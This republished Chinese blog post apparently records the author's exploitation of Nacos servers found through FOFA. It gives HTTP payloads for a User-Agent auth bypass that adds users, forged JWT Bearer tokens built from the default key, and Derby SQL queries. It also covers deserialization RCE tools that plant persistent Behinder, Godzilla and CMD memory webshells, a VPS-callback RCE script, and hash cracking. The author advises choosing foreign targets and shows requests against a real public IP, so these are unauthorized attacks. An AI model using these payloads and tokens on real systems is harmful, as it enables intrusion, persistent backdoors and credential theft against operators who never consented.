前言
实战nacos漏洞复现记录一下,大佬勿喷。
小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习。
nacos介绍
Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源。它致力于帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。通过Nacos,您可以轻松构建、交付和管理微服务平台,实现服务的动态发现、配置和治理。
Nacos 开放的端口
Nacos部署需要开放以下端口以确保其正常运行:
主端口(HTTP端口):默认为8848,用于客户端、控制台及OpenAPI的HTTP通信。这个端口是访问Nacos管理界面的主要入口。
客户端gRPC请求服务端端口:默认为9848,用于客户端向服务端发起gRPC连接和请求。Nacos 2.x版本默认使用了gRPC通信方式,这会增加9848(客户端gRPC请求服务端端口)和9849(服务端gRPC请求服务端端口)两个端口。
服务端gRPC请求服务端端口:默认为9849,用于服务间的数据同步和其他服务端之间的通信。
Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等。
资产收集
FOFA语句:app="nacos" && port="8848"
下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,可以点击ico图标进一步扩大信息收集面
icon_hash="13942501"
icon_hash="1227052603" && port="8848"
针对fofa总结语法:
app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"
漏洞复现
下面我用一个国外的ip进行漏洞的复现演示,用这个语法进行查找
app="nacos" && port="8848" && country="US"
使用随意一个fofa测绘工具将资产导出来
这是我找的买过的一些资产,然后保存进行工具批量测试。
charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用
导出一个漏洞较多的资产进行复现即可,切记不要使用国内的,直接访问ip地址看不到登录口需要加/nacos目录才会重定向过去。
1.获取nacos版本信息
/nacos/v1/console/server/state
2. 默认口令
访问 http://ip:8848/nacos/#/login进入登陆页面
默认口令为: nacos/nacos
3.默认未开启鉴权-未授权查看用户信息
由于系统默认未开启鉴权 导致未授权访问
nacos.core.auth.enabled=false
漏洞复现
测试版本:nacos1.4.0
直接访问如下路径,未授权查看用户信息
/nacos/v1/auth/users?pageNo=1&pageSize=9
4. User-Agent权限绕过(CVE-2021-29441)
漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
版本: <=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true)
直接访问下面的目录,可以未授权查看到账号密码
/nacos/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表
可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username,和password信息
未授权添加用户
payload:
POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 28 Jul 2021 11:28:45 GMT
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 30username=test&password=test123
查看用户是否添加成功:
/nacos/v1/auth/search?username=test
curl 'http://IP/v1/auth/search?username=test'
删除用户
curl -X DELETE "http://47.83.174.204:8848/nacos/v1/auth/users?username=test"
或者访问 /nacos/v1/auth/users?username=test,将请求方法修改为DELETE即可删除用户test
或者使用工具直接进行用户的添加
先将有漏洞的站点扫描一遍选择ua权限绕过漏洞进行添加
5.默认jwt密钥-未授权访问
开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码
影响版本
0.1.0<=nacos<=2.2.0
漏洞原理
输入正确的账号密码,则后端会返回对应该用户的加密accessToken。
请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0username=nacos&password=nacos
响应包
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
Content-Type: application/json;charset=UTF-8
Date: Sat, 26 Apr 2025 10:16:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 181{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。
payload
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0
由于返回的accessToken只是对账号进行加密得到的.
而且nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken.
nacos存在默认用户nacos,所以我们可以尝试获取此默认用户的nacos。
漏洞复现
测试版本:nacos1.4.0
1. 生成时间戳比现在时间晚就行,比如现在时间为2024.9.3,则修改为2024.9.4或者更晚的时间
https://tool.lu/timestamp/
我直接生成到2080了直接用我的就行
3481367106
2. 生成key。
https://jwt.io/
复制默认的key,填写如下所示
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw
{
"sub": "nacos",
"iat": 1745835608
}{
"alg": "HS256",
"typ": "JWT"
}带上token访问用户列表即可绕过403
直接登录到后台:
登陆界面输入任意账户密码 ,点击登录。抓包,添加请求头,我这个还能用。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8
添加之后点击放行不要关闭拦截
之后关闭拦截即可
6.Derby未授权访问(CVE-2021-29442)
nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。
影响版本:在nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >1.4.0, 在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。
/nacos/v1/cs/ops/derby?sql=select * from users
7.Nacos Client Yaml反序列化漏洞
这个我没复现出来,网上找了几个但是都没有。。。。
在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。
具体思路是
nacosYaml反序列化攻击
工具利用
https://github.com/artsploit/yaml-payload/
下载之后打成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
编译java文件
jar -cvf yaml-payload.jar -C src/ .
jar:Java 自带的归档工具(类似 tar 或 zip),用于创建、查看或解压 JAR 文件。
-c(create):创建一个新的 JAR 文件。
-v(verbose):显示详细输出(打包的文件列表)。
-f(file):指定生成的 JAR 文件名(这里是 yaml-payload.jar)。
-C src/:切换到 src/ 目录(相当于 cd src/)。
将生成的jar文件传到服务器上,到指定目录,开启web服务
在Nacos发现dataid为db-config
我只是复现到这了,试了几个,没成功就停了。
这个是靶场成功的链接
内网渗透 -春秋云镜篇之Hospital-腾讯云开发者社区-腾讯云
8.Nacos Hessian 反序列化漏洞
由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。
影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
主要受影响的是7848端口的Jraft服务。
漏洞复现
测试版本nacos 2.2.2
poc:https://github.com/c0olw/NacosRce
java -jar NacosRce.jar http://xxx:8848/nacos 7848 "whoami"
执行命令同时注入内存马
直接使用webshell管理工具进行链接即可
自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 "Command"
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
只注入内存马java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
内存马说明:
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:WindowsTempnacos_data_temp 和 C:WindowsTempnacos_data_temp.class 文件java -jar NacosRce.jar http://192.168.90.1:8848 7848 "whoami" windows
如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因
9. Nacos RCE
这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441
/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
测试版本:nacos1.4.0(2.3.2也成功),默认状态
下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上
1. 在vps启动
python service.py
默认会在5000端口打开服务
然后本地机器上执行poc
当系统为未授权访问时,可直接触发RCE
Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip#-p 端口地址
#-u nacos web地址# -c 指定命令
如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67',
'Authorization':'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8'
}
10. 密码破解
nacos密码bcrypt
hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show
配置文件密文 jasypt
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input="123456" password="salt123" algorithm="PBEWithMD5AndDES"
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input="MecKdyPwwkD+AqUKPy1GlQ==" password="salt123" algorithm="PBEWithMD5AndDES"
11、常用命令
http://127.0.0.1:8848/nacos/v1/console/server/state
http://xx.xx.xx.xx/v1/console/server/state
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户
curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users" post添加用户
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123' 修改密码
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息
curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login" 登陆
总结
在网络安全的世界里,停止学习就意味着落后,共勉!
原文始发于微信公众号(亿人安全):实战攻防之Nacos漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论